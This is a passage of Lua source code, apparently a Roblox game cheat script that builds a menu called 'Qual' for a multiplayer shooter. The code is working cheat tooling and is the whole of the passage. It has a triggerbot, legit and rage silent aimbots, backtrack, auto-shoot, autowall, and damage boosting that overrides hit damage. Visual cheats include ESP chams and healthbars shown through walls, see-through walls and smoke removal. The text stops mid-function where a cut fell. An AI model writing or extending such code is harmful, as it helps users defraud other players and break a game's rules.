2472 wait()
2473 Local.Camera.CFrame = CFrameStorage
2474 end
2475 else
2476 fire(fanfire)
2477 end
2478end
2479
2480--bruh
2481
2482function LocalFOV(number)
2483 Local.Game.fieldofview = number
2484 Local.Camera.FieldOfView = number
2485end
2486
2487debounce = false
2488
2489function TriggerRoutine()
2490 debounce = true
2491 if Local.Mouse.Target and isAlive(Local.Player) and (Settings.TriggerbotMode == "Enabled" or (Settings.TriggerbotMode == "On Key" and Services.UserInputService:IsKeyDown(Triggerkey.key))) then
2492 local OtherHuman = Local.Mouse.Target.Parent
2493 if OtherHuman.Parent == Backtrack then
2494 if Settings.TriggerbotDelay ~= 0 then
2495 wait(Settings.TriggerbotDelay)
2496 end
2497 if not debounce then
2498 mouse1press()
2499 wait(0.04)
2500 mouse1release()
2501 end
2502 debounce = false
2503 return
2504 end
2505 local OtherPlayer = Services.Players:FindFirstChild(OtherHuman.Name)
2506 if not OtherPlayer then
2507 debounce = false
2508 return
2509 end
2510 if OtherPlayer.Team == Local.Player.Team then
2511 debounce = false
2512 return
2513 end
2514 if Settings.TriggerbotDelay ~= 0 then
2515 wait(Settings.TriggerbotDelay)
2516 end
2517 if not debounce then
2518 mouse1press()
2519 wait(0.04)
2520 mouse1release()
2521 end
2522 end
2523 debounce = false
2524end
2525
2526local DefaultBot = "Legit"
2527local Defaults = {}
2528local Core = UI:CreateWindow("Qual")
2529
2530local bruh = Instance.new("Frame")
2531local UIListLayoutaa = Instance.new("UIListLayout")
2532
2533bruh.Parent = UI.base
2534bruh.ZIndex = 25
2535bruh.BackgroundColor3 = Color3.new(1, 1, 1)
2536--bruh.Size = UDim2.new(0,0,0,0)
2537bruh.Visible = false
2538
2539UIListLayoutaa.Parent = bruh
2540UIListLayoutaa.SortOrder = Enum.SortOrder.LayoutOrder
2541
2542function CalculateThreat(p)
2543 local ignorelist = {Local.Camera, Local.Player.Character, part, p.Character, Backtrack}
2544 local parts = Local.Camera:GetPartsObscuringTarget({p.CameraCF.Value.p}, ignorelist)
2545 if #parts < 2 then
2546 return true
2547 end
2548end
2549
2550ESPLocation = Instance.new("Folder", Services.CoreGui)
2551
2552function espPart(part,v)
2553 local inneresp = Instance.new("BoxHandleAdornment",ESPLocation)
2554 inneresp.Adornee = part
2555 if (Settings.InnerChams.Allies.VisibleOnly and v.Team == Local.Player.Team) or (Settings.InnerChams.Enemies.VisibleOnly and v.Team ~= Local.Player.Team) then
2556 inneresp.AlwaysOnTop = false
2557 else
2558 inneresp.AlwaysOnTop = true
2559 end
2560 inneresp.ZIndex = 2
2561 if (Settings.InnerChams.Allies.Render and v.Team == Local.Player.Team) or (Settings.InnerChams.Enemies.Render and v.Team ~= Local.Player.Team) then
2562 inneresp.Transparency = (v.Team == Local.Player.Team and Settings.InnerChams.Allies.Transparency) or Settings.InnerChams.Enemies.Transparency
2563 else
2564 inneresp.Transparency = 1
2565 end
2566 inneresp.Size = part.Size + Vector3.new(0.01,0.01,0.01)
2567 if v.Team == Local.Player.Team then
2568 inneresp.Color3 = (Settings.InnerChams.Allies.UseTeamColor and v.TeamColor.Color) or Settings.InnerChams.Allies.Color
2569 else
2570 inneresp.Color3 = (Settings.InnerChams.Enemies.UseTeamColor and v.TeamColor.Color) or Settings.InnerChams.Enemies.Color
2571 end
2572
2573 v.CharacterRemoving:Connect(function()
2574 inneresp:Destroy()
2575 end)
2576
2577 local outeresp = Instance.new("BoxHandleAdornment",ESPLocation)
2578 outeresp.Adornee = part
2579 if (Settings.OuterChams.Allies.VisibleOnly and v.Team == Local.Player.Team) or (Settings.OuterChams.Enemies.VisibleOnly and v.Team ~= Local.Player.Team) then
2580 outeresp.AlwaysOnTop = false
2581 else
2582 outeresp.AlwaysOnTop = true
2583 end
2584 outeresp.ZIndex = 1
2585 if (Settings.OuterChams.Allies.Render and v.Team == Local.Player.Team) or (Settings.OuterChams.Enemies.Render and v.Team ~= Local.Player.Team) then
2586 outeresp.Transparency = (v.Team == Local.Player.Team and Settings.OuterChams.Allies.Transparency) or Settings.OuterChams.Enemies.Transparency
2587 else
2588 outeresp.Transparency = 1
2589 end
2590 local Size = (v.Team == Local.Player.Team and Settings.OuterChams.Allies.Size) or Settings.OuterChams.Enemies.Size
2591 outeresp.Size = part.Size + Vector3.new(Size,Size,Size)
2592 if v.Team == Local.Player.Team then
2593 outeresp.Color3 = (Settings.OuterChams.Allies.UseTeamColor and v.TeamColor.Color) or Settings.OuterChams.Allies.Color
2594 else
2595 outeresp.Color3 = (Settings.OuterChams.Enemies.UseTeamColor and v.TeamColor.Color) or Settings.OuterChams.Enemies.Color
2596 end
2597
2598 v.CharacterRemoving:Connect(function()
2599 outeresp:Destroy()
2600 end)
2601end
2602
2603function espPlayer(v)
2604 if isAlive(v) then
2605 for _,part in pairs(v.Character:GetChildren())do
2606 if part:IsA("BasePart") then
2607 espPart(part,v)
2608 end
2609 end
2610 if (Settings.Allies.Healthbar.Enabled and v.Team == Local.Player.Team) or (Settings.Enemies.Healthbar.Enabled and v.Team ~= Local.Player.Team) then
2611 local Healthbar = Instance.new("BillboardGui")
2612 local Out = Instance.new("Frame")
2613 local Inside = Instance.new("Frame")
2614
2615 Healthbar.Parent = ESPLocation
2616 Healthbar.Active = true
2617 Healthbar.Adornee = v.Character:FindFirstChild("LowerTorso")
2618 Healthbar.AlwaysOnTop = true
2619 Healthbar.Size = UDim2.new(6, 0, 5.5, 0)
2620 Healthbar.StudsOffsetWorldSpace = Vector3.new(0, 0.2, 0)
2621
2622 Out.Parent = Healthbar
2623 Out.BackgroundColor3 = Color3.new(0.25, 0.25, 0.25)
2624 Out.BorderSizePixel = 0
2625 Out.LayoutOrder = 100
2626 Out.Size = UDim2.new(0.04, 0, 1, 0)
2627
2628 Inside.Parent = Healthbar
2629 Inside.BackgroundColor3 = (v.Team == Local.Player.Team and Settings.Allies.Healthbar.Color) or Settings.Enemies.Healthbar.Enabled
2630 Inside.BorderSizePixel = 0
2631 Inside.LayoutOrder = 100
2632 Inside.Size = UDim2.new(0.04, 0, 1, 0)
2633 Inside.ZIndex = 2
2634
2635 local hm = v.Character.Humanoid
2636 hm:GetPropertyChangedSignal("Health"):Connect(function()
2637 Inside.Position = UDim2.new(0, 0, 1-(hm.Health/100), 0)
2638 Inside.Size = UDim2.new(0.04, 0, hm.Health/100, 0)
2639 end)
2640 end
2641 end
2642end
2643
2644function ESP()
2645 ESPLocation:ClearAllChildren()
2646 for _,v in pairs(Services.Players:GetPlayers())do
2647 if v.Name ~= Local.Player.Name then
2648 pcall(function()
2649 espPlayer(v)
2650 end)
2651 end
2652 end
2653end
2654
2655spawn(function()
2656 while wait(4) do
2657 ESP()
2658 end
2659end)
2660
2661function lerp(v0, v1, t)
2662 return (1 - t) * v0 + t * v1
2663end
2664
2665function CalculateAimbot()
2666 local Nearest
2667 if Settings[DefaultBot].DetectionMethod == "All Threats (360°)" then
2668 Nearest = Storage.Targets[1]
2669 else
2670 Nearest = AimbotFunctions.GetClosestToCrosshair()
2671 if not Nearest and Settings[DefaultBot].DetectionMethod == "Crosshair or Nearest (360°)" then
2672 Nearest = AimbotFunctions.GetNearest()
2673 end
2674 end
2675
2676 if not Nearest then return end
2677 if not isAlive(Nearest) then return end
2678
2679 Storage.Targets = {}
2680
2681 local stat = getStatus(Nearest)
2682 if stat == "Friend" then return end
2683
2684 local Aimpoint
2685 local allCorners = {}
2686
2687 if stat == "Rage" then
2688 for i,v in pairs(AimbotFunctions.getAimpoints(Nearest.Character)) do
2689 if not Aimpoint then
2690 local ourCFrame = AimbotFunctions.getRealCameraVector(Local.Player.Character)
2691 local hit, hitpos = AimbotFunctions.SimulateShot(CFrame.new(ourCFrame, v), Nearest.Character)
2692 if hit then
2693 Aimpoint = {hitpos, v}
2694 end
2695 end
2696 end
2697 if not Aimpoint then
2698 for _,v in pairs(Nearest.Character:GetChildren()) do
2699 if v:isA("BasePart") and ToSimplified[v.Name] then
2700 local a = AimbotFunctions.getAimCorners(v.CFrame, v.Size)
2701 for _,corner in pairs(a) do
2702 if AimbotFunctions.VectorVisible(corner, Nearest) then
2703 table.insert(allCorners, {corner, v})
2704 end
2705 end
2706 end
2707 end
2708 table.sort(allCorners, function(a, b)
2709 return HitboxPriorities[ToSimplified[a[2].Name]] > HitboxPriorities[ToSimplified[b[2].Name]]
2710 end)
2711 if #allCorners == 0 then
2712 return false
2713 end
2714 Aimpoint = allCorners[1]
2715 end
2716 else
2717 local body = "Head"
2718 if Settings.Legit.Headshotchance < math.random(1, 100) then
2719 body = "LowerTorso"
2720 end
2721 if not Nearest.Character:FindFirstChild(body) then return end
2722 Aimpoint = {Nearest.Character[body].Position, Nearest.Character[body]}
2723 end
2724
2725 return {Aimpoint, stat, Nearest}
2726end
2727
2728function canFire()
2729 local Game = Local.Game
2730 return 0 < Game.ammocount4 and Game.equipped == "equipment2" or 0 < Game.ammocount3 and Local.Game.equipped == "equipment" or 0 < Local.Game.ammocount and Local.Game.equipped == "primary" or 0 < Local.Game.ammocount2 and Local.Game.equipped == "secondary" or Local.Game.gun ~= "none" and Local.Game.gun and Local.Game.gun ~= "none" and Local.Game.gun:FindFirstChild("Melee")
2731end
2732
2733function Chat(Message)
2734 Events.PlayerChatted:FireServer(Message, false, "Innocent", false, false)
2735end
2736
2737local indexOf = function( t, object )
2738 if "table" == type( t ) then
2739 for i = 1, #t do
2740 if object == t[i] then
2741 return i
2742 end
2743 end
2744 return -1
2745 else
2746 error("table.indexOf expects table for first argument, " .. type(t) .. " given")
2747 end
2748end
2749
2750
2751
2752local default_debounce = false
2753for tab,prefix in pairs({"Legit", "Rage"}) do
2754 bottab = Core:CreateTab(prefix.."bot")
2755 SAim = bottab:AddLocalTab(prefix.." Silent Aim")
2756
2757 local df = SAim:AddToggle("Default", Settings.DefaultBot == prefix, function(b)
2758 if b and default_debounce then
2759 default_debounce = false
2760 for i,v in pairs(Defaults) do
2761 if prefix ~= i then
2762 v:SetToggle(false)
2763 end
2764 end
2765 default_debounce = true
2766 Settings.DefaultBot = prefix
2767 end
2768 if not b and default_debounce then
2769 default_debounce = false
2770 Defaults[prefix]:SetToggle(true)
2771 default_debounce = true
2772 end
2773 end)
2774
2775 Defaults[prefix] = df
2776
2777 local AMode = {"Enabled", "On Key", "Disabled"}
2778 SAim:AddDropdown("Mode", indexOf(AMode, Settings[prefix].AimbotMode), AMode, function(m)
2779 Settings[prefix].AimbotMode = m
2780 end)
2781
2782 local AMethod = {"Closest to Crosshair", "Crosshair or Nearest (360°)", "All Threats (360°)"}
2783 SAim:AddDropdown("Method", indexOf(AMethod, Settings[prefix].DetectionMethod), AMethod, function(m)
2784 Settings[prefix].DetectionMethod = m
2785 end)
2786
2787 local StMode = {"Completely Silent", "Flick when shooting", "Track target"}
2788 SAim:AddDropdown("Mode", indexOf(StMode, Settings[prefix].AimbotStyle), StMode, function(m)
2789 Settings[prefix].AimbotStyle = m
2790 end)
2791
2792 SAim:AddSlider("FOV in pixels", 200, Settings[prefix].FOVpx, function(n)
2793 Settings[prefix].FOVpx = n
2794 Storage[prefix.."Circle"].Radius = n
2795 end)
2796
2797 SAim:AddToggle("Remove FOV limit", Settings[prefix].FOVlim, function(b)
2798 Settings[prefix].FOVlim = b
2799 end)
2800
2801 if prefix == "Legit" then
2802 SAim:AddSlider("Headshot chance", 100, Settings[prefix].Headshotchance, function(n)
2803 Settings[prefix].Headshotchance = n
2804 end)
2805 end
2806
2807 Storage[prefix.."Aimkey"] = SAim:AddKeybind("Aimkey", Enum.KeyCode[Settings[prefix].Aimkey])
2808
2809 backtracktab = bottab:AddLocalTab("Backtrack")
2810
2811 backtracktab:AddToggle("Backtrack", Settings[prefix].Backtrack, function(b)
2812 Settings[prefix].Backtrack = b
2813 end)
2814
2815 backtracktab:AddSlider("Backtrack Length", 2000, Settings[prefix].BacktrackDelay, function(n)
2816 Settings[prefix].BacktrackDelay = n
2817 end)
2818
2819 backtracktab:AddCP("Backtrack Color", Settings[prefix].BacktrackColor, function(c3, alpha)
2820 Settings[prefix].BacktrackColor = c3
2821 if alpha then
2822 Settings[prefix].BacktrackTransparency = alpha
2823 end
2824 end, Settings[prefix].BacktrackTransparency)
2825
2826 backtracktab:AddToggle("Backtrack Rainbow", Settings[prefix].BacktrackRainbow, function(b)
2827 Settings[prefix].BacktrackRainbow = b
2828 end)
2829
2830 if prefix == "Legit" then
2831 local TB = bottab:AddLocalTab("Triggerbot")
2832 TMode = {"Enabled", "On Key", "Disabled"}
2833 TB:AddDropdown("Mode", indexOf(TMode, Settings.TriggerbotMode), TMode, function(m)
2834 Settings.TriggerbotMode = m
2835 if Storage.Triggerbot then
2836 Storage.Triggerbot:disconnect()
2837 end
2838 if m == "Enabled" or m == "On Key" then
2839 Storage.Triggerbot = S:connect(TriggerRoutine)
2840 end
2841 end)
2842
2843 TB:AddSlider("Delay", 100, Settings.TriggerbotDelay, function(d)
2844 Settings.TriggerbotDelay = d
2845 end)
2846
2847 Triggerkey = TB:AddKeybind("Triggerbot key", Enum.KeyCode[Settings.Triggerkey])
2848 end
2849
2850 ASTab = bottab:AddLocalTab("Auto-shoot")
2851
2852 ASTab:AddToggle("Auto-shoot", Settings[prefix].Shootbot, function(b)
2853 Settings[prefix].Shootbot = b
2854 end)
2855
2856 ASTab:AddToggle("Autowall", Settings[prefix].Autowall, function(b)
2857 Settings[prefix].Autowall = b
2858 end)
2859
2860 ASTab:AddSlider("Minimum Damage (Visible)", 100, Settings[prefix].MinVisibleDamage, function(d)
2861 Settings[prefix].MinVisibleDamage = d
2862 end)
2863
2864 ASTab:AddSlider("Minimum Damage (Autowall)", 100, Settings[prefix].MinAWDamage, function(d)
2865 Settings[prefix].MinAWDamage = d
2866 end)
2867
2868 DBTab = bottab:AddLocalTab("Damage Boosting")
2869
2870 DBTab:AddToggle("Hook Hitpart", Settings[prefix].HookHitpart, function(b)
2871 Settings[prefix].HookHitpart = b
2872 end)
2873
2874 DBTab:AddToggle("Override Damage", Settings[prefix].OverrideDamage, function(b)
2875 Settings[prefix].OverrideDamage = b
2876 end)
2877
2878 DBTab:AddSlider("Damage Multiplier", 2, Settings[prefix].Damage, function(d)
2879 Settings[prefix].Damage = d
2880 end, 0.01)
2881end
2882
2883default_debounce = true
2884
2885local Visuals = Core:CreateTab("Visuals")
2886local BTtab = Visuals:AddLocalTab("Bullet Tracers")
2887local FV = Visuals:AddLocalTab("FOV Circle")
2888
2889for i,BAWT in pairs({"Legit", "Rage"}) do
2890 FV:AddToggle(BAWT.." Circle Enabled", Settings[BAWT].FOVCircle, function(b)
2891 Settings[BAWT].FOVCircle = b
2892 Storage[BAWT.."Circle"].Visible = b
2893 end)
2894
2895 FV:AddToggle(BAWT.." Circle Filled", Settings[BAWT].FOVFilled, function(b)
2896 Settings[BAWT].FOVFilled = b
2897 Storage[BAWT.."Circle"].Filled = b
2898 end)
2899
2900 FV:AddCP(BAWT.." Circle Color", Settings[BAWT].FOVColor, function(c3, alpha)
2901 Settings[BAWT].FOVColor = c3
2902 if alpha then
2903 Settings[BAWT].FOVTransparency = alpha
2904 Storage[BAWT.."Circle"].Transparency = 1-alpha
2905 end
2906 Storage[BAWT.."Circle"].Color = c3
2907 end, Settings[BAWT].FOVTransparency)
2908
2909 FV:AddSlider(BAWT.." Circle Thickness", 5, Settings[BAWT].FOVThickness, function(v)
2910 Settings[BAWT].FOVThickness = v
2911 Storage[BAWT.."Circle"].Thickness = v
2912 end)
2913end
2914
2915BTtab:AddToggle("Enabled", Settings.BulletTracers, function(b)
2916 Settings.BulletTracers = b
2917end)
2918
2919BTtab:AddSlider("Starting Thickness", 10, Settings.TracerThickness1, function(v)
2920 Settings.TracerThickness1 = v
2921end)
2922
2923BTtab:AddSlider("Ending Thickness", 10, Settings.TracerThickness2, function(v)
2924 Settings.TracerThickness2 = v
2925end)
2926
2927BTtab:AddCP("Color", Settings.BulletTracerColor, function(c3, alpha)
2928 Settings.BulletTracerColor = c3
2929 if alpha then
2930 Settings.BulletTracerTransparency = alpha
2931 end
2932end, Settings.BulletTracerTransparency)
2933
2934for i,v in pairs({"Arms", "Gun"}) do
2935 local lTab = Visuals:AddLocalTab(v)
2936
2937 lTab:AddToggle("Enabled", Settings[v.."Enabled"], function(b)
2938 Settings[v.."Enabled"] = b
2939 doSelfChams()
2940 end)
2941
2942 lTab:AddDropdown("Material", indexOf(Materials, Settings[v.."Material"]), Materials, function(d)
2943 Settings[v.."Material"] = d
2944 doSelfChams()
2945 end)
2946
2947 lTab:AddCP("Color", Color3.new(1, 0.5, 0), function(c3, alpha)
2948 Settings[v.."Color"] = c3
2949 if alpha then
2950 Settings[v.."Transparency"] = alpha
2951 end
2952 doSelfChams()
2953 end, 0.3)
2954end
2955
2956local Viewmodel = Visuals:AddLocalTab("Viewmodel")
2957
2958Viewmodel:AddToggle("Remove Sleeves", Settings.NoSleeves, function(b)
2959 Settings.NoSleeves = b
2960 doSelfChams()
2961end)
2962
2963Viewmodel:AddToggle("Remove Gloves", Settings.NoGloves, function(b)
2964 Settings.NoGloves = b
2965 doSelfChams()
2966end)
2967
2968
2969--[[
2970local ViewmodelOffset = Visuals:AddLocalTab("Viewmodel Offsets")
2971
2972for i,v in pairs({"X", "Y", "Z"}) do
2973 ViewmodelOffset:AddSlider(v.." Offset", 5, Settings["V"..v], function(v)
2974 Settings["V"..v] = v
2975 end)
2976end
2977]]
2978
2979function getpartmodifier(part)
2980 local partmodifier = 0
2981 if part.Material == Enum.Material.DiamondPlate then
2982 partmodifier = 3
2983 end
2984 if part.Material == Enum.Material.CorrodedMetal or part.Material == Enum.Material.Metal or part.Material == Enum.Material.Concrete or part.Material == Enum.Material.Brick then
2985 partmodifier = 2
2986 end
2987 if part.Name == "Grate" or part.Material == Enum.Material.Wood or part.Material == Enum.Material.WoodPlanks or part and part.Parent and part.Parent:FindFirstChild("Humanoid") then
2988 partmodifier = 0.1
2989 end
2990 if part.Transparency == 1 or part.CanCollide == false or part.Name == "Glass" or part.Name == "Cardboard" or part:IsDescendantOf(workspace.Ray_Ignore) or part:IsDescendantOf(workspace.Debris) or part and part.Parent and part.Parent.Name == "Hitboxes" then
2991 partmodifier = 0
2992 end
2993 if part.Name == "nowallbang" then
2994 partmodifier = 90
2995 end
2996 if part:FindFirstChild("PartModifier") then
2997 partmodifier = part.PartModifier.Value
2998 end
2999 return partmodifier
3000end
3001
3002transparencies = {}
3003
3004function EnableAsus(p)
3005 if not transparencies[p] then
3006 transparencies[p] = p.Transparency
3007 end
3008 p.Transparency = Settings.AsusWalls.Transparency
3009 return
3010end
3011
3012function Asus(p)
3013 if not p:IsA("BasePart") then return end
3014 if Settings.AsusWalls.Enabled then
3015 if Settings.AsusWalls.IncludeUnwallbangable then
3016 return EnableAsus(p)
3017 end
3018 if getpartmodifier(p) < Settings.AsusWalls.PartModifier then
3019 return EnableAsus(p)
3020 end
3021 end
3022 if transparencies[p] then
3023 p.Transparency = transparencies[p]
3024 end
3025end
3026
3027asusdebounce = true
3028
3029function AsusWorkspace()
3030 asusdebounce = false
3031 delay(5, function()
3032 for i,p in pairs(workspace.Map:GetDescendants()) do
3033 Asus(p)
3034 end
3035 asusdebounce = true
3036 end)
3037end
3038
3039spawn(function()
3040 workspace:WaitForChild("Map").DescendantAdded:connect(function(p)
3041 Asus(p)
3042 end)
3043end)
3044
3045
3046local AsusWalls = Visuals:AddLocalTab("Asus Walls")
3047
3048AsusWalls:AddToggle("Enabled", Settings.AsusWalls.Enabled, function(b)
3049 Settings.AsusWalls.Enabled = b
3050 if asusdebounce then
3051 AsusWorkspace()
3052 end
3053end)
3054
3055AsusWalls:AddSlider("Transparency", 1, Settings.AsusWalls.Transparency, function(v)
3056 Settings.AsusWalls.Transparency = v
3057 if asusdebounce then
3058 AsusWorkspace()
3059 end
3060end, 0.01)
3061
3062AsusWalls:AddSlider("Wallbangability Threshold", 5, Settings.AsusWalls.PartModifier, function(v)
3063 Settings.AsusWalls.PartModifier = v
3064 if asusdebounce then
3065 AsusWorkspace()
3066 end
3067end, 0.01)
3068
3069AsusWalls:AddToggle("Include Unwallbangable", Settings.AsusWalls.IncludeUnwallbangable, function(b)
3070 Settings.AsusWalls.IncludeUnwallbangable = b
3071 if asusdebounce then
3072 AsusWorkspace()
3073 end
3074end)
3075
3076
3077--[[
3078for i,v in pairs({"X", "Y", "Z"}) do
3079 ViewmodelOffset:AddSlider(v.." Offset", 5, Settings["V"..v], function(v)
3080 Settings["V"..v] = v
3081 end)
3082end]]
3083
3084local VisualMisc = Visuals:AddLocalTab("Misc")
3085
3086VisualMisc:AddToggle("SpectatorUI", Settings.SpectatorUI, function(b)
3087 Settings.SpectatorUI = b
3088 SpecF.Visible = b
3089end)
3090
3091VisualMisc:AddToggle("Watermark", Settings.Watermark, function(b)
3092 Settings.Watermark = b
3093 WBack.Visible = b
3094end)
3095
3096VisualMisc:AddToggle("Better Scope", Settings.BetterScope, function(enabled)
3097 Settings.BetterScope = enabled
3098 if enabled then
3099 local ScopeStorageQuery = {}
3100 local Crosshairs = Local.PlayerGui.GUI.Crosshairs
3101 table.insert(ScopeStorage, Crosshairs.Scope)
3102 table.insert(ScopeStorage, Crosshairs.Frame1)
3103 table.insert(ScopeStorage, Crosshairs.Frame2)
3104 table.insert(ScopeStorage, Crosshairs.Frame3)
3105 table.insert(ScopeStorage, Crosshairs.Frame4)
3106 Crosshairs.Scope.Parent = Services.Lighting
3107 Crosshairs.Frame1.Parent = Services.Lighting
3108 Crosshairs.Frame2.Parent = Services.Lighting
3109 Crosshairs.Frame3.Parent = Services.Lighting
3110 Crosshairs.Frame4.Parent = Services.Lighting
3111 Scope.Parent = Crosshairs
3112 Frame1.Parent = Crosshairs
3113 Frame2.Parent = Crosshairs
3114 Frame3.Parent = Crosshairs
3115 Frame4.Parent = Crosshairs
3116 Local.Game.Scope = Scope
3117 else
3118 local Crosshairs = Local.PlayerGui.GUI.Crosshairs
3119 Scope.Parent = Services.Lighting
3120 Frame1.Parent = Services.Lighting
3121 Frame2.Parent = Services.Lighting
3122 Frame3.Parent = Services.Lighting
3123 Frame4.Parent = Services.Lighting
3124 for i,v in pairs(ScopeStorage) do
3125 if v.Name == "Scope" then
3126 Local.Game.Scope = v
3127 end
3128 v.Parent = Crosshairs
3129 end
3130 end
3131end)
3132
3133local EV = Visuals:AddLocalTab("Environment")
3134local Camera = Visuals:AddLocalTab("Camera")
3135
3136
3137Camera:AddSlider("FOV", 120, Settings.FOV, LocalFOV)
3138
3139thirdpersontoggle = false
3140Camera:AddKeybind("Thirdperson Toggle", Enum.KeyCode[Settings.ThirdpersonKey], function()
3141 thirdpersontoggle = not thirdpersontoggle
3142 if thirdpersontoggle then
3143 Local.Player.CameraMaxZoomDistance = Settings.ThirdpersonDistance
3144 Local.Player.CameraMinZoomDistance = Settings.ThirdpersonDistance
3145 wait()
3146 Local.Player.CameraMaxZoomDistance = Settings.ThirdpersonDistance
3147 Local.Player.CameraMinZoomDistance = Settings.ThirdpersonDistance
3148 else
3149 Local.Player.CameraMaxZoomDistance = 0.5
3150 Local.Player.CameraMinZoomDistance = 0.5
3151 wait() --no clue why but u need to do this twice
3152 Local.Player.CameraMaxZoomDistance = 0.5
3153 Local.Player.CameraMinZoomDistance = 0.5
3154 end
3155end, false)
3156
3157Spectatorkey = Camera:AddKeybind("Spectator view key", Enum.KeyCode[Settings.Spectatorkey])
3158
3159local Hit = Visuals:AddLocalTab("On hit")
3160
3161Hit:AddToggle("Hitmarker", Settings.Hitmarker, function(b)
3162 Settings.Hitmarker = b
3163end)
3164
3165Hit:AddToggle("Hitmarker follow hit", Settings.HitmarkerTarget, function(b)
3166 Settings.HitmarkerTarget = b
3167end)
3168
3169Hit:AddToggle("Enable Hitsounds", Settings.HitsoundEnabled, function(b)
3170 Settings.HitsoundEnabled = b
3171end)
3172
3173Hit:AddDropdown("Hitsound", indexOf(HitsoundsTable, Settings.Hitsound), HitsoundsTable, function(d)
3174 Settings.Hitsound = d
3175end)
3176
3177function OnHit(name, damage)
3178 if Settings.HitsoundEnabled then
3179 PlaySound(Hitsounds[Settings.Hitsound])
3180 end
3181
3182 local additive = ""
3183 if lastHit then
3184 additive = " at "..lastHit[1].Name
3185 if lastHit[2] then
3186 additive = additive.." through a wall"
3187 end
3188 additive = additive.." ("..lastHit[3]..")".." ("..lastHit[3] - damage..")"
3189 end
3190
3191 local TextLabel = Instance.new("TextLabel")
3192 TextLabel.Parent = DaFrame
3193 TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
3194 TextLabel.BackgroundTransparency = 1
3195 TextLabel.Size = UDim2.new(0, 302, 0, 20)
3196 TextLabel.Font = Enum.Font.Code
3197 TextLabel.Text = "Hit "..name.." for "..damage..additive
3198 TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
3199 TextLabel.TextSize = 14
3200 TextLabel.TextStrokeTransparency = 0
3201 TextLabel.TextXAlignment = Enum.TextXAlignment.Left
3202
3203 delay(5, function()
3204 for i = 0,1,0.01 do
3205 wait()
3206 TextLabel.TextTransparency = i
3207 TextLabel.TextStrokeTransparency = i
3208 end
3209 TextLabel:Destroy()
3210 end)
3211
3212 if Settings.Hitmarker then --CurrentConfig().Hitmarker.Enabled
3213 local Line = Drawing.new("Line")
3214 local Line2 = Drawing.new("Line")
3215 local Line3 = Drawing.new("Line")
3216 local Line4 = Drawing.new("Line")
3217
3218 local Color = Color3.new(1,1,1)--CurrentConfig().Hitmarker.Color()
3219 local x, y
3220 local pos = lastPoint
3221 if Settings.HitmarkerTarget then
3222 local vector, onScreen = Local.Camera:WorldToViewportPoint(pos)
3223 x, y = vector.X, vector.Y
3224 else
3225 local Size = Local.Camera.ViewportSize
3226 x, y = Size.X/2, Size.Y/2
3227 end
3228
3229 Line.From = Vector2.new(x + 4, y + 4)
3230 Line.To = Vector2.new(x + 10, y + 10)
3231 Line.Color = Color
3232 Line.Visible = true
3233
3234 Line2.From = Vector2.new(x + 4, y - 4)
3235 Line2.To = Vector2.new(x + 10, y - 10)
3236 Line2.Color = Color
3237 Line2.Visible = true
3238
3239 Line3.From = Vector2.new(x - 4, y - 4)
3240 Line3.To = Vector2.new(x - 10, y - 10)
3241 Line3.Color = Color
3242 Line3.Visible = true
3243
3244 Line4.From = Vector2.new(x - 4, y + 4)
3245 Line4.To = Vector2.new(x - 10, y + 10)
3246 Line4.Color = Color
3247 Line4.Visible = true
3248
3249 Line.Transparency = 1
3250 Line2.Transparency = 1
3251 Line3.Transparency = 1
3252 Line4.Transparency = 1
3253
3254 Line.Thickness = 1
3255 Line2.Thickness = 1
3256 Line3.Thickness = 1
3257 Line4.Thickness = 1
3258
3259 spawn(function()
3260 while Line ~= nil do
3261 wait()
3262 local vector, onScreen = Local.Camera:WorldToViewportPoint(pos)
3263 x, y = vector.X, vector.Y
3264
3265 Line.From = Vector2.new(x + 4, y + 4)
3266 Line.To = Vector2.new(x + 10, y + 10)
3267 Line.Color = Color
3268 Line.Visible = true
3269
3270 Line2.From = Vector2.new(x + 4, y - 4)
3271 Line2.To = Vector2.new(x + 10, y - 10)
3272 Line2.Color = Color
3273 Line2.Visible = true
3274
3275 Line3.From = Vector2.new(x - 4, y - 4)
3276 Line3.To = Vector2.new(x - 10, y - 10)
3277 Line3.Color = Color
3278 Line3.Visible = true
3279
3280 Line4.From = Vector2.new(x - 4, y + 4)
3281 Line4.To = Vector2.new(x - 10, y + 10)
3282 Line4.Color = Color
3283 Line4.Visible = true
3284
3285 if not onScreen then
3286 Line.Transparency = 0
3287 Line2.Transparency = 0
3288 Line3.Transparency = 0
3289 Line4.Transparency = 0
3290 end
3291 end
3292 end)
3293
3294 wait(.3)
3295 for i = 1,0,-.1 do
3296 wait()
3297 Line.Transparency = i
3298 Line2.Transparency = i
3299 Line3.Transparency = i
3300 Line4.Transparency = i
3301 end
3302 Line:Remove()
3303 Line2:Remove()
3304 Line3:Remove()
3305 Line4:Remove()
3306 end
3307end
3308
3309EV:AddDropdown("Skybox", indexOf(SkyboxesTable, Settings.Skybox), SkyboxesTable, function(d)
3310 Settings.Skybox = d
3311 if d == "None" then
3312 Skybox.Parent = nil
3313 else
3314 Skybox.Parent = Services.Lighting
3315 local sb = Skyboxes[d]
3316 Skybox.CelestialBodiesShown = false
3317 Skybox.SkyboxLf = sb.SkyboxLf
3318 Skybox.SkyboxBk = sb.SkyboxBk
3319 Skybox.SkyboxDn = sb.SkyboxDn
3320 Skybox.SkyboxFt = sb.SkyboxFt
3321 Skybox.SkyboxLf = sb.SkyboxLf
3322 Skybox.SkyboxRt = sb.SkyboxRt
3323 Skybox.SkyboxUp = sb.SkyboxUp
3324 Skybox.StarCount = sb.StarCount
3325 end
3326end)
3327
3328EV:AddSlider("Lighting time", 24, Settings.ClockTime, function(v)
3329 Settings.ClockTime = v
3330 Services.Lighting.ClockTime = v
3331end, 0.01)
3332
3333EV:AddToggle("Fullbright", Settings.Fullbright, function(b)
3334 Settings.Fullbright = b
3335 if b then
3336 Services.Lighting.Ambient = Color3.new(1,1,1)
3337 Services.Lighting.Brightness = 0
3338 else
3339 Services.Lighting.Ambient = Color3.new(0,0,0)
3340 Services.Lighting.Brightness = 2
3341 end
3342end)
3343
3344spawn(function()
3345 workspace:WaitForChild("Ray_Ignore"):WaitForChild("Smokes").DescendantAdded:connect(function(v)
3346 if Settings.RemoveSmoke then
3347 v:Remove()
3348 end
3349 if Settings.WireframeSmoke then
3350 if v:IsA("ParticleEmitter") then
3351 v.Texture = "rbxassetid://65437818"
3352 v.Size = NumberSequence.new(0, 10)
3353 v.Transparency = NumberSequence.new(0.9)
3354 v.SpreadAngle = Vector2.new(0, 0)
3355 v.Rate = 20
